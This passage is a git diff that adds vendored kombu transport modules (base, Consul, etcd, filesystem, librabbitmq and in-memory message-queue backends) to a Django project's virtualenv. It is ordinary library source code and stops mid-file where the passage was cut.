b/django_lottopy/lib/python3.10/site-packages/kombu/transport/base.py new file mode 100644 index 00000000..3083acf4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/base.py @@ -0,0 +1,258 @@ +"""Base transport interface.""" +# flake8: noqa + + +import errno +import socket + +from amqp.exceptions import RecoverableConnectionError + +from kombu.exceptions import ChannelError, ConnectionError +from kombu.message import Message +from kombu.utils.functional import dictfilter +from kombu.utils.objects import cached_property +from kombu.utils.time import maybe_s_to_ms + +__all__ = ('Message', 'StdChannel', 'Management', 'Transport') + +RABBITMQ_QUEUE_ARGUMENTS = { + 'expires': ('x-expires', maybe_s_to_ms), + 'message_ttl': ('x-message-ttl', maybe_s_to_ms), + 'max_length': ('x-max-length', int), + 'max_length_bytes': ('x-max-length-bytes', int), + 'max_priority': ('x-max-priority', int), +} # type: Mapping[str, Tuple[str, Callable]] + + +def to_rabbitmq_queue_arguments(arguments, **options): + # type: (Mapping, **Any) -> Dict + """Convert queue arguments to RabbitMQ queue arguments. + + This is the implementation for Channel.prepare_queue_arguments + for AMQP-based transports. It's used by both the pyamqp and librabbitmq + transports. + + Arguments: + arguments (Mapping): + User-supplied arguments (``Queue.queue_arguments``). + + Keyword Arguments: + expires (float): Queue expiry time in seconds. + This will be converted to ``x-expires`` in int milliseconds. + message_ttl (float): Message TTL in seconds. + This will be converted to ``x-message-ttl`` in int milliseconds. + max_length (int): Max queue length (in number of messages). + This will be converted to ``x-max-length`` int. + max_length_bytes (int): Max queue size in bytes. + This will be converted to ``x-max-length-bytes`` int. + max_priority (int): Max priority steps for queue. + This will be converted to ``x-max-priority`` int. + + Returns: + Dict: RabbitMQ compatible queue arguments. + """ + prepared = dictfilter(dict( + _to_rabbitmq_queue_argument(key, value) + for key, value in options.items() + )) + return dict(arguments, **prepared) if prepared else arguments + + +def _to_rabbitmq_queue_argument(key, value): + # type: (str, Any) -> Tuple[str, Any] + opt, typ = RABBITMQ_QUEUE_ARGUMENTS[key] + return opt, typ(value) if value is not None else value + + +def _LeftBlank(obj, method): + return NotImplementedError( + 'Transport {0.__module__}.{0.__name__} does not implement {1}'.format( + obj.__class__, method)) + + +class StdChannel: + """Standard channel base class.""" + + no_ack_consumers = None + + def Consumer(self, *args, **kwargs): + from kombu.messaging import Consumer + return Consumer(self, *args, **kwargs) + + def Producer(self, *args, **kwargs): + from kombu.messaging import Producer + return Producer(self, *args, **kwargs) + + def get_bindings(self): + raise _LeftBlank(self, 'get_bindings') + + def after_reply_message_received(self, queue): + """Callback called after RPC reply received. + + Notes: + Reply queue semantics: can be used to delete the queue + after transient reply message received. + """ + + def prepare_queue_arguments(self, arguments, **kwargs): + return arguments + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + +class Management: + """AMQP Management API (incomplete).""" + + def __init__(self, transport): + self.transport = transport + + def get_bindings(self): + raise _LeftBlank(self, 'get_bindings') + + +class Implements(dict): + """Helper class used to define transport features.""" + + def __getattr__(self, key): + try: + return self[key] + except KeyError: + raise AttributeError(key) + + def __setattr__(self, key, value): + self[key] = value + + def extend(self, **kwargs): + return self.__class__(self, **kwargs) + + +default_transport_capabilities = Implements( + asynchronous=False, + exchange_type=frozenset(['direct', 'topic', 'fanout', 'headers']), + heartbeats=False, +) + + +class Transport: + """Base class for transports.""" + + Management = Management + + #: The :class:`~kombu.Connection` owning this instance. + client = None + + #: Set to True if :class:`~kombu.Connection` should pass the URL + #: unmodified. + can_parse_url = False + + #: Default port used when no port has been specified. + default_port = None + + #: Tuple of errors that can happen due to connection failure. + connection_errors = (ConnectionError,) + + #: Tuple of errors that can happen due to channel/method failure. + channel_errors = (ChannelError,) + + #: Type of driver, can be used to separate transports + #: using the AMQP protocol (driver_type: 'amqp'), + #: Redis (driver_type: 'redis'), etc... + driver_type = 'N/A' + + #: Name of driver library (e.g. 'py-amqp', 'redis'). + driver_name = 'N/A' + + __reader = None + + implements = default_transport_capabilities.extend() + + def __init__(self, client, **kwargs): + self.client = client + + def establish_connection(self): + raise _LeftBlank(self, 'establish_connection') + + def close_connection(self, connection): + raise _LeftBlank(self, 'close_connection') + + def create_channel(self, connection): + raise _LeftBlank(self, 'create_channel') + + def close_channel(self, connection): + raise _LeftBlank(self, 'close_channel') + + def drain_events(self, connection, **kwargs): + raise _LeftBlank(self, 'drain_events') + + def heartbeat_check(self, connection, rate=2): + pass + + def driver_version(self): + return 'N/A' + + def get_heartbeat_interval(self, connection): + return 0 + + def register_with_event_loop(self, connection, loop): + pass + + def unregister_from_event_loop(self, connection, loop): + pass + + def verify_connection(self, connection): + return True + + def _make_reader(self, connection, timeout=socket.timeout, + error=socket.error, _unavail=(errno.EAGAIN, errno.EINTR)): + drain_events = connection.drain_events + + def _read(loop): + if not connection.connected: + raise RecoverableConnectionError('Socket was disconnected') + try: + drain_events(timeout=0) + except timeout: + return + except error as exc: + if exc.errno in _unavail: + return + raise + loop.call_soon(_read, loop) + + return _read + + def qos_semantics_matches_spec(self, connection): + return True + + def on_readable(self, connection, loop): + reader = self.__reader + if reader is None: + reader = self.__reader = self._make_reader(connection) + reader(loop) + + def as_uri(self, uri: str, include_password=False, mask='**') -> str: + """Customise the display format of the URI.""" + raise NotImplementedError() + + @property + def default_connection_params(self): + return {} + + def get_manager(self, *args, **kwargs): + return self.Management(self) + + @cached_property + def manager(self): + return self.get_manager() + + @property + def supports_heartbeats(self): + return self.implements.heartbeats + + @property + def supports_ev(self): + return self.implements.asynchronous diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/consul.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/consul.py new file mode 100644 index 00000000..4369b1f8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/consul.py @@ -0,0 +1,314 @@ +"""Consul Transport module for Kombu. + +Features +======== + +It uses Consul.io's Key/Value store to transport messages in Queues + +It uses python-consul for talking to Consul's HTTP API + +Features +======== +* Type: Native +* Supports Direct: Yes +* Supports Topic: *Unreviewed* +* Supports Fanout: *Unreviewed* +* Supports Priority: *Unreviewed* +* Supports TTL: *Unreviewed* + +Connection String +================= + +Connection string has the following format: + +.. code-block:: + + consul://CONSUL_ADDRESS[:PORT] + +""" + +import socket +import uuid +from collections import defaultdict +from contextlib import contextmanager +from queue import Empty +from time import monotonic + +from kombu.exceptions import ChannelError +from kombu.log import get_logger +from kombu.utils.json import dumps, loads +from kombu.utils.objects import cached_property + +from . import virtual + +try: + import consul +except ImportError: + consul = None + +logger = get_logger('kombu.transport.consul') + +DEFAULT_PORT = 8500 +DEFAULT_HOST = 'localhost' + + +class LockError(Exception): + """An error occurred while trying to acquire the lock.""" + + +class Channel(virtual.Channel): + """Consul Channel class which talks to the Consul Key/Value store.""" + + prefix = 'kombu' + index = None + timeout = '10s' + session_ttl = 30 + + def __init__(self, *args, **kwargs): + if consul is None: + raise ImportError('Missing python-consul library') + + super().__init__(*args, **kwargs) + + port = self.connection.client.port or self.connection.default_port + host = self.connection.client.hostname or DEFAULT_HOST + + logger.debug('Host: %s Port: %s Timeout: %s', host, port, self.timeout) + + self.queues = defaultdict(dict) + + self.client = consul.Consul(host=host, port=int(port)) + + def _lock_key(self, queue): + return f'{self.prefix}/{queue}.lock' + + def _key_prefix(self, queue): + return f'{self.prefix}/{queue}' + + def _get_or_create_session(self, queue): + """Get or create consul session. + + Try to renew the session if it exists, otherwise create a new + session in Consul. + + This session is used to acquire a lock inside Consul so that we achieve + read-consistency between the nodes. + + Arguments: + queue (str): The name of the Queue. + + Returns: + str: The ID of the session. + """ + try: + session_id = self.queues[queue]['session_id'] + except KeyError: + session_id = None + return (self._renew_existing_session(session_id) + if session_id is not None else self._create_new_session()) + + def _renew_existing_session(self, session_id): + logger.debug('Trying to renew existing session %s', session_id) + session = self.client.session.renew(session_id=session_id) + return session.get('ID') + + def _create_new_session(self): + logger.debug('Creating session %s with TTL %s', + self.lock_name, self.session_ttl) + session_id = self.client.session.create( + name=self.lock_name, ttl=self.session_ttl) + logger.debug('Created session %s with id %s', + self.lock_name, session_id) + return session_id + + @contextmanager + def _queue_lock(self, queue, raising=LockError): + """Try to acquire a lock on the Queue. + + It does so by creating a object called 'lock' which is locked by the + current session.. + + This way other nodes are not able to write to the lock object which + means that they have to wait before the lock is released. + + Arguments: + queue (str): The name of the Queue. + raising (Exception): Set custom lock error class. + + Raises: + LockError: if the lock cannot be acquired. + + Returns: + bool: success? + """ + self._acquire_lock(queue, raising=raising) + try: + yield + finally: + self._release_lock(queue) + + def _acquire_lock(self, queue, raising=LockError): + session_id = self._get_or_create_session(queue) + lock_key = self._lock_key(queue) + + logger.debug('Trying to create lock object %s with session %s', + lock_key, session_id) + + if self.client.kv.put(key=lock_key, + acquire=session_id, + value=self.lock_name): + self.queues[queue]['session_id'] = session_id + return + logger.info('Could not acquire lock on key %s', lock_key) + raise raising() + + def _release_lock(self, queue): + """Try to release a lock. + + It does so by simply removing the lock key in Consul. + + Arguments: + queue (str): The name of the queue we want to release + the lock from. + """ + logger.debug('Removing lock key %s', self._lock_key(queue)) + self.client.kv.delete(key=self._lock_key(queue)) + + def _destroy_session(self, queue): + """Destroy a previously created Consul session. + + Will release all locks it still might hold. + + Arguments: + queue (str): The name of the Queue. + """ + logger.debug('Destroying session %s', self.queues[queue]['session_id']) + self.client.session.destroy(self.queues[queue]['session_id']) + + def _new_queue(self, queue, **_): + self.queues[queue] = {'session_id': None} + return self.client.kv.put(key=self._key_prefix(queue), value=None) + + def _delete(self, queue, *args, **_): + self._destroy_session(queue) + self.queues.pop(queue, None) + self._purge(queue) + + def _put(self, queue, payload, **_): + """Put `message` onto `queue`. + + This simply writes a key to the K/V store of Consul + """ + key = '{}/msg/{}_{}'.format( + self._key_prefix(queue), + int(round(monotonic() * 1000)), + uuid.uuid4(), + ) + if not self.client.kv.put(key=key, value=dumps(payload), cas=0): + raise ChannelError(f'Cannot add key {key!r} to consul') + + def _get(self, queue, timeout=None): + """Get the first available message from the queue. + + Before it does so it acquires a lock on the Key/Value store so + only one node reads at the same time. This is for read consistency + """ + with self._queue_lock(queue, raising=Empty): + key = f'{self._key_prefix(queue)}/msg/' + logger.debug('Fetching key %s with index %s', key, self.index) + self.index, data = self.client.kv.get( + key=key, recurse=True, + index=self.index, wait=self.timeout, + ) + + try: + if data is None: + raise Empty() + + logger.debug('Removing key %s with modifyindex %s', + data[0]['Key'], data[0]['ModifyIndex']) + + self.client.kv.delete(key=data[0]['Key'], + cas=data[0]['ModifyIndex']) + + return loads(data[0]['Value']) + except TypeError: + pass + + raise Empty() + + def _purge(self, queue): + self._destroy_session(queue) + return self.client.kv.delete( + key=f'{self._key_prefix(queue)}/msg/', + recurse=True, + ) + + def _size(self, queue): + size = 0 + try: + key = f'{self._key_prefix(queue)}/msg/' + logger.debug('Fetching key recursively %s with index %s', + key, self.index) + self.index, data = self.client.kv.get( + key=key, recurse=True, + index=self.index, wait=self.timeout, + ) + size = len(data) + except TypeError: + pass + + logger.debug('Found %s keys under %s with index %s', + size, key, self.index) + return size + + @cached_property + def lock_name(self): + return f'{socket.gethostname()}' + + +class Transport(virtual.Transport): + """Consul K/V storage Transport for Kombu.""" + + Channel = Channel + + default_port = DEFAULT_PORT + driver_type = 'consul' + driver_name = 'consul' + + if consul: + connection_errors = ( + virtual.Transport.connection_errors + ( + consul.ConsulException, consul.base.ConsulException + ) + ) + + channel_errors = ( + virtual.Transport.channel_errors + ( + consul.ConsulException, consul.base.ConsulException + ) + ) + + def __init__(self, *args, **kwargs): + if consul is None: + raise ImportError('Missing python-consul library') + + super().__init__(*args, **kwargs) + + def verify_connection(self, connection): + port = connection.client.port or self.default_port + host = connection.client.hostname or DEFAULT_HOST + + logger.debug('Verify Consul connection to %s:%s', host, port) + + try: + client = consul.Consul(host=host, port=int(port)) + client.agent.self() + return True + except ValueError: + pass + + return False + + def driver_version(self): + return consul.__version__ diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/etcd.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/etcd.py new file mode 100644 index 00000000..ba9e4150 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/etcd.py @@ -0,0 +1,289 @@ +"""Etcd Transport module for Kombu. + +It uses Etcd as a store to transport messages in Queues + +It uses python-etcd for talking to Etcd's HTTP API + +Features +======== +* Type: Virtual +* Supports Direct: *Unreviewed* +* Supports Topic: *Unreviewed* +* Supports Fanout: *Unreviewed* +* Supports Priority: *Unreviewed* +* Supports TTL: *Unreviewed* + +Connection String +================= + +Connection string has the following format: + +.. code-block:: + + 'etcd'://SERVER:PORT + +""" + +import os +import socket +from collections import defaultdict +from contextlib import contextmanager +from queue import Empty + +from kombu.exceptions import ChannelError +from kombu.log import get_logger +from kombu.utils.json import dumps, loads +from kombu.utils.objects import cached_property + +from . import virtual + +try: + import etcd +except ImportError: + etcd = None + +logger = get_logger('kombu.transport.etcd') + +DEFAULT_PORT = 2379 +DEFAULT_HOST = 'localhost' + + +class Channel(virtual.Channel): + """Etcd Channel class which talks to the Etcd.""" + + prefix = 'kombu' + index = None + timeout = 10 + session_ttl = 30 + lock_ttl = 10 + + def __init__(self, *args, **kwargs): + if etcd is None: + raise ImportError('Missing python-etcd library') + + super().__init__(*args, **kwargs) + + port = self.connection.client.port or self.connection.default_port + host = self.connection.client.hostname or DEFAULT_HOST + + logger.debug('Host: %s Port: %s Timeout: %s', host, port, self.timeout) + + self.queues = defaultdict(dict) + + self.client = etcd.Client(host=host, port=int(port)) + + def _key_prefix(self, queue): + """Create and return the `queue` with the proper prefix. + + Arguments: + queue (str): The name of the queue. + """ + return f'{self.prefix}/{queue}' + + @contextmanager + def _queue_lock(self, queue): + """Try to acquire a lock on the Queue. + + It does so by creating a object called 'lock' which is locked by the + current session.. + + This way other nodes are not able to write to the lock object which + means that they have to wait before the lock is released. + + Arguments: + queue (str): The name of the queue. + """ + lock = etcd.Lock(self.client, queue) + lock._uuid = self.lock_value + logger.debug(f'Acquiring lock {lock.name}') + lock.acquire(blocking=True, lock_ttl=self.lock_ttl) + try: + yield + finally: + logger.debug(f'Releasing lock {lock.name}') + lock.release() + + def _new_queue(self, queue, **_): + """Create a new `queue` if the `queue` doesn't already exist. + + Arguments: + queue (str): The name of the queue. + """ + self.queues[queue] = queue + with self._queue_lock(queue): + try: + return self.client.write( + key=self._key_prefix(queue), dir=True, value=None) + except etcd.EtcdNotFile: + logger.debug(f'Queue "{queue}" already exists') + return self.client.read(key=self._key_prefix(queue)) + + def _has_queue(self, queue, **kwargs): + """Verify that queue exists. + + Returns: + bool: Should return :const:`True` if the queue exists + or :const:`False` otherwise. + """ + try: + self.client.read(self._key_prefix(queue)) + return True + except etcd.EtcdKeyNotFound: + return False + + def _delete(self, queue, *args, **_): + """Delete a `queue`. + + Arguments: + queue (str): The name of the queue. + """ + self.queues.pop(queue, None) + self._purge(queue) + + def _put(self, queue, payload, **_): + """Put `message` onto `queue`. + + This simply writes a key to the Etcd store + + Arguments: + queue (str): The name of the queue. + payload (dict): Message data which will be dumped to etcd. + """ + with self._queue_lock(queue): + key = self._key_prefix(queue) + if not self.client.write( + key=key, + value=dumps(payload), + append=True): + raise ChannelError(f'Cannot add key {key!r} to etcd') + + def _get(self, queue, timeout=None): + """Get the first available message from the queue. + + Before it does so it acquires a lock on the store so + only one node reads at the same time. This is for read consistency + + Arguments: + queue (str): The name of the queue. + timeout (int): Optional seconds to wait for a response. + """ + with self._queue_lock(queue): + key = self._key_prefix(queue) + logger.debug('Fetching key %s with index %s', key, self.index) + + try: + result = self.client.read( + key=key, recursive=True, + index=self.index, timeout=self.timeout) + + if result is None: + raise Empty() + + item = result._children[-1] + logger.debug('Removing key {}'.format(item['key'])) + + msg_content = loads(item['value']) + self.client.delete(key=item['key']) + return msg_content + except (TypeError, IndexError, etcd.EtcdException) as error: + logger.debug(f'_get failed: {type(error)}:{error}') + + raise Empty() + + def _purge(self, queue): + """Remove all `message`s from a `queue`. + + Arguments: + queue (str): The name of the queue. + """ + with self._queue_lock(queue): + key = self._key_prefix(queue) + logger.debug(f'Purging queue at key {key}') + return self.client.delete(key=key, recursive=True) + + def _size(self, queue): + """Return the size of the `queue`. + + Arguments: + queue (str): The name of the queue. + """ + with self._queue_lock(queue): + size = 0 + try: + key = self._key_prefix(queue) + logger.debug('Fetching key recursively %s with index %s', + key, self.index) + result = self.client.read( + key=key, recursive=True, + index=self.index) + size = len(result._children) + except TypeError: + pass + + logger.debug('Found %s keys under %s with index %s', + size, key, self.index) + return size + + @cached_property + def lock_value(self): + return f'{socket.gethostname()}.{os.getpid()}' + + +class Transport(virtual.Transport): + """Etcd storage Transport for Kombu.""" + + Channel = Channel + + default_port = DEFAULT_PORT + driver_type = 'etcd' + driver_name = 'python-etcd' + polling_interval = 3 + + implements = virtual.Transport.implements.extend( + exchange_type=frozenset(['direct'])) + + if etcd: + connection_errors = ( + virtual.Transport.connection_errors + (etcd.EtcdException, ) + ) + + channel_errors = ( + virtual.Transport.channel_errors + (etcd.EtcdException, ) + ) + + def __init__(self, *args, **kwargs): + """Create a new instance of etcd.Transport.""" + if etcd is None: + raise ImportError('Missing python-etcd library') + + super().__init__(*args, **kwargs) + + def verify_connection(self, connection): + """Verify the connection works.""" + port = connection.client.port or self.default_port + host = connection.client.hostname or DEFAULT_HOST + + logger.debug('Verify Etcd connection to %s:%s', host, port) + + try: + etcd.Client(host=host, port=int(port)) + return True + except ValueError: + pass + + return False + + def driver_version(self): + """Return the version of the etcd library. + + .. note:: + python-etcd has no __version__. This is a workaround. + """ + try: + import pip.commands.freeze + for x in pip.commands.freeze.freeze(): + if x.startswith('python-etcd'): + return x.split('==')[1] + except (ImportError, IndexError): + logger.warning('Unable to find the python-etcd version.') + return 'Unknown' diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/filesystem.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/filesystem.py new file mode 100644 index 00000000..d66c42d6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/filesystem.py @@ -0,0 +1,285 @@ +"""File-system Transport module for kombu. + +Transport using the file-system as the message store. Messages written to the +queue are stored in `data_folder_in` directory and +messages read from the queue are read from `data_folder_out` directory. Both +directories must be created manually. Simple example: + +* Producer: + +.. code-block:: python + + import kombu + + conn = kombu.Connection( + 'filesystem://', transport_options={ + 'data_folder_in': 'data_in', 'data_folder_out': 'data_out' + } + ) + conn.connect() + + test_queue = kombu.Queue('test', routing_key='test') + + with conn as conn: + with conn.default_channel as channel: + producer = kombu.Producer(channel) + producer.publish( + {'hello': 'world'}, + retry=True, + exchange=test_queue.exchange, + routing_key=test_queue.routing_key, + declare=[test_queue], + serializer='pickle' + ) + +* Consumer: + +.. code-block:: python + + import kombu + + conn = kombu.Connection( + 'filesystem://', transport_options={ + 'data_folder_in': 'data_out', 'data_folder_out': 'data_in' + } + ) + conn.connect() + + def callback(body, message): + print(body, message) + message.ack() + + test_queue = kombu.Queue('test', routing_key='test') + + with conn as conn: + with conn.default_channel as channel: + consumer = kombu.Consumer( + conn, [test_queue], accept=['pickle'] + ) + consumer.register_callback(callback) + with consumer: + conn.drain_events(timeout=1) + +Features +======== +* Type: Virtual +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: No +* Supports Priority: No +* Supports TTL: No + +Connection String +================= +Connection string is in the following format: + +.. code-block:: + + filesystem:// + +Transport Options +================= +* ``data_folder_in`` - directory where are messages stored when written + to queue. +* ``data_folder_out`` - directory from which are messages read when read from + queue. +* ``store_processed`` - if set to True, all processed messages are backed up to + ``processed_folder``. +* ``processed_folder`` - directory where are backed up processed files. +""" + +import os +import shutil +import tempfile +import uuid +from queue import Empty +from time import monotonic + +from kombu.exceptions import ChannelError +from kombu.utils.encoding import bytes_to_str, str_to_bytes +from kombu.utils.json import dumps, loads +from kombu.utils.objects import cached_property + +from . import virtual + +VERSION = (1, 0, 0) +__version__ = '.'.join(map(str, VERSION)) + +# needs win32all to work on Windows +if os.name == 'nt': + + import pywintypes + import win32con + import win32file + + LOCK_EX = win32con.LOCKFILE_EXCLUSIVE_LOCK + # 0 is the default + LOCK_SH = 0 + LOCK_NB = win32con.LOCKFILE_FAIL_IMMEDIATELY + __overlapped = pywintypes.OVERLAPPED() + + def lock(file, flags): + """Create file lock.""" + hfile = win32file._get_osfhandle(file.fileno()) + win32file.LockFileEx(hfile, flags, 0, 0xffff0000, __overlapped) + + def unlock(file): + """Remove file lock.""" + hfile = win32file._get_osfhandle(file.fileno()) + win32file.UnlockFileEx(hfile, 0, 0xffff0000, __overlapped) + +elif os.name == 'posix': + + import fcntl + from fcntl import LOCK_EX, LOCK_NB, LOCK_SH # noqa + + def lock(file, flags): + """Create file lock.""" + fcntl.flock(file.fileno(), flags) + + def unlock(file): + """Remove file lock.""" + fcntl.flock(file.fileno(), fcntl.LOCK_UN) +else: + raise RuntimeError( + 'Filesystem plugin only defined for NT and POSIX platforms') + + +class Channel(virtual.Channel): + """Filesystem Channel.""" + + def _put(self, queue, payload, **kwargs): + """Put `message` onto `queue`.""" + filename = '{}_{}.{}.msg'.format(int(round(monotonic() * 1000)), + uuid.uuid4(), queue) + filename = os.path.join(self.data_folder_out, filename) + + try: + f = open(filename, 'wb') + lock(f, LOCK_EX) + f.write(str_to_bytes(dumps(payload))) + except OSError: + raise ChannelError( + f'Cannot add file {filename!r} to directory') + finally: + unlock(f) + f.close() + + def _get(self, queue): + """Get next message from `queue`.""" + queue_find = '.' + queue + '.msg' + folder = os.listdir(self.data_folder_in) + folder = sorted(folder) + while len(folder) > 0: + filename = folder.pop(0) + + # only handle message for the requested queue + if filename.find(queue_find) < 0: + continue + + if self.store_processed: + processed_folder = self.processed_folder + else: + processed_folder = tempfile.gettempdir() + + try: + # move the file to the tmp/processed folder + shutil.move(os.path.join(self.data_folder_in, filename), + processed_folder) + except OSError: + pass # file could be locked, or removed in meantime so ignore + + filename = os.path.join(processed_folder, filename) + try: + f = open(filename, 'rb') + payload = f.read() + f.close() + if not self.store_processed: + os.remove(filename) + except OSError: + raise ChannelError( + f'Cannot read file {filename!r} from queue.') + + return loads(bytes_to_str(payload)) + + raise Empty() + + def _purge(self, queue): + """Remove all messages from `queue`.""" + count = 0 + queue_find = '.' + queue + '.msg' + + folder = os.listdir(self.data_folder_in) + while len(folder) > 0: + filename = folder.pop() + try: + # only purge messages for the requested queue + if filename.find(queue_find) < 0: + continue + + filename = os.path.join(self.data_folder_in, filename) + os.remove(filename) + + count += 1 + + except OSError: + # we simply ignore its existence, as it was probably + # processed by another worker + pass + + return count + + def _size(self, queue): + """Return the number of messages in `queue` as an :class:`int`.""" + count = 0 + + queue_find = f'.{queue}.msg' + folder = os.listdir(self.data_folder_in) + while len(folder) > 0: + filename = folder.pop() + + # only handle message for the requested queue + if filename.find(queue_find) < 0: + continue + + count += 1 + + return count + + @property + def transport_options(self): + return self.connection.client.transport_options + + @cached_property + def data_folder_in(self): + return self.transport_options.get('data_folder_in', 'data_in') + + @cached_property + def data_folder_out(self): + return self.transport_options.get('data_folder_out', 'data_out') + + @cached_property + def store_processed(self): + return self.transport_options.get('store_processed', False) + + @cached_property + def processed_folder(self): + return self.transport_options.get('processed_folder', 'processed') + + +class Transport(virtual.Transport): + """Filesystem Transport.""" + + Channel = Channel + # filesystem backend state is global. + global_state = virtual.BrokerState() + default_port = 0 + driver_type = 'filesystem' + driver_name = 'filesystem' + + def __init__(self, client, **kwargs): + super().__init__(client, **kwargs) + self.state = self.global_state + + def driver_version(self): + return 'N/A' diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/librabbitmq.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/librabbitmq.py new file mode 100644 index 00000000..dec50ccf --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/librabbitmq.py @@ -0,0 +1,188 @@ +"""`librabbitmq`_ transport. + +.. _`librabbitmq`: https://pypi.org/project/librabbitmq/ +""" + +import os +import socket +import warnings + +import librabbitmq as amqp +from librabbitmq import ChannelError, ConnectionError + +from kombu.utils.amq_manager import get_manager +from kombu.utils.text import version_string_as_tuple + +from . import base +from .base import to_rabbitmq_queue_arguments + +W_VERSION = """ + librabbitmq version too old to detect RabbitMQ version information + so make sure you are using librabbitmq 1.5 when using rabbitmq > 3.3 +""" +DEFAULT_PORT = 5672 +DEFAULT_SSL_PORT = 5671 + +NO_SSL_ERROR = """\ +ssl not supported by librabbitmq, please use pyamqp:// or stunnel\ +""" + + +class Message(base.Message): + """AMQP Message (librabbitmq).""" + + def __init__(self, channel, props, info, body): + super().__init__( + channel=channel, + body=body, + delivery_info=info, + properties=props, + delivery_tag=info.get('delivery_tag'), + content_type=props.get('content_type'), + content_encoding=props.get('content_encoding'), + headers=props.get('headers')) + + +class Channel(amqp.Channel, base.StdChannel): + """AMQP Channel (librabbitmq).""" + + Message = Message + + def prepare_message(self, body, priority=None, + content_type=None, content_encoding=None, + headers=None, properties=None): + """Encapsulate data into a AMQP message.""" + properties = properties if properties is not None else {} + properties.update({'content_type': content_type, + 'content_encoding': content_encoding, + 'headers': headers}) + # Don't include priority if it's not an integer. + # If that's the case librabbitmq will fail + # and raise an exception. + if priority is not None: + properties['priority'] = priority + return body, properties + + def prepare_queue_arguments(self, arguments, **kwargs): + arguments = to_rabbitmq_queue_arguments(arguments, **kwargs) + return {k.encode('utf8'): v for k, v in arguments.items()} + + +class Connection(amqp.Connection): + """AMQP Connection (librabbitmq).""" + + Channel = Channel + Message = Message + + +class Transport(base.Transport): + """AMQP Transport (librabbitmq).""" + + Connection = Connection + + default_port = DEFAULT_PORT + default_ssl_port = DEFAULT_SSL_PORT + + connection_errors = ( + base.Transport.connection_errors + ( + ConnectionError, socket.error, IOError, OSError) + ) + channel_errors = ( + base.Transport.channel_errors + (ChannelError,) + ) + driver_type = 'amqp' + driver_name = 'librabbitmq' + + implements = base.Transport.implements.extend( + asynchronous=True, + heartbeats=False, + ) + + def __init__(self, client, **kwargs): + self.client = client + self.default_port = kwargs.get('default_port') or self.default_port + self.default_ssl_port = (kwargs.get('default_ssl_port') or + self.default_ssl_port) + self.__reader = None + + def driver_version(self): + return amqp.__version__ + + def create_channel(self, connection): + return connection.channel() + + def drain_events(self, connection, **kwargs): + return connection.drain_events(**kwargs) + + def establish_connection(self): + """Establish connection to the AMQP broker.""" + conninfo = self.client + for name, default_value in self.default_connection_params.items(): + if not getattr(conninfo, name, None): + setattr(conninfo, name, default_value) + if conninfo.ssl: + raise NotImplementedError(NO_SSL_ERROR) + opts = dict({ + 'host': conninfo.host, + 'userid': conninfo.userid, + 'password': conninfo.password, + 'virtual_host': conninfo.virtual_host, + 'login_method': conninfo.login_method, + 'insist': conninfo.insist, + 'ssl': conninfo.ssl, + 'connect_timeout': conninfo.connect_timeout, + }, **conninfo.transport_options or {}) + conn = self.Connection(**opts) + conn.client = self.client + self.client.drain_events = conn.drain_events + return conn + + def close_connection(self, connection): + """Close the AMQP broker connection.""" + self.client.drain_events = None + connection.close() + + def _collect(self, connection): + if connection is not None: + for channel in connection.channels.values(): + channel.connection = None + try: + os.close(connection.fileno()) + except (OSError, ValueError): + pass + connection.channels.clear() + connection.callbacks.clear() + self.client.drain_events = None + self.client = None + + def verify_connection(self, connection): + return connection.connected + + def register_with_event_loop(self, connection, loop): + loop.add_reader( + connection.fileno(), self.on_readable, connection, loop, + ) + + def get_manager(self, *args, **kwargs): + return get_manager(self.client, *args, **kwargs) + + def qos_semantics_matches_spec(self, connection): + try: + props = connection.server_properties + except AttributeError: + warnings.warn(UserWarning(W_VERSION)) + else: + if props.get('product') == 'RabbitMQ': + return version_string_as_tuple(props['version']) < (3, 3) + return True + + @property + def default_connection_params(self): + return { + 'userid': 'guest', + 'password': 'guest', + 'port': (self.default_ssl_port if self.client.ssl + else self.default_port), + 'hostname': 'localhost', + 'login_method': 'PLAIN', + } diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/memory.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/memory.py new file mode 100644 index 00000000..3073d1cf --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/memory.py @@ -0,0 +1,104 @@ +"""In-memory transport module for Kombu. + +Simple transport using memory for storing messages. +Messages can be passed only between threads. + +Features +======== +* Type: Virtual +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: No +* Supports Priority: No +* Supports TTL: Yes + +Connection String +================= +Connection string is in the following format: + +.. code-block:: + + memory:// + +""" + +from collections import defaultdict +from queue import Queue + +from . import base, virtual + + +class Channel(virtual.Channel): + """In-memory Channel.""" + + events = defaultdict(set) + queues = {} + do_restore = False + supports_fanout = True + + def _has_queue(self, queue, **kwargs): + return queue in self.queues + + def _new_queue(self, queue, **kwargs): + if queue not in self.queues: + self.queues[queue] = Queue() + + def _get(self, queue, timeout=None): + return self._queue_for(queue).get(block=False) + + def _queue_for(self, queue): + if queue not in self.queues: + self.queues[queue] = Queue() + return self.queues[queue] + + def _queue_bind(self, *args): + pass + + def _put_fanout(self, exchange, message, routing_key=None, **kwargs): + for queue in self._lookup(exchange, routing_key): + self._queue_for(queue).put(message) + + def _put(self, queue, message, **kwargs): + self._queue_for(queue).put(message) + + def _size(self, queue): + return self._queue_for(queue).qsize() + + def _delete(self, queue, *args, **kwargs): + self.queues.pop(queue, None) + + def _purge(self, queue): + q = self._queue_for(queue) + size = q.qsize() + q.queue.clear() + return size + + def close(self): + super().close() + for queue in self.queues.values(): + queue.empty() + self.queues = {} + + def after_reply_message_received(self, queue): + pass + + +class Transport(virtual.Transport): + """In-memory Transport.""" + + Channel = Channel + + #: memory backend state is global. + global_state = virtual.BrokerState() + + implements = 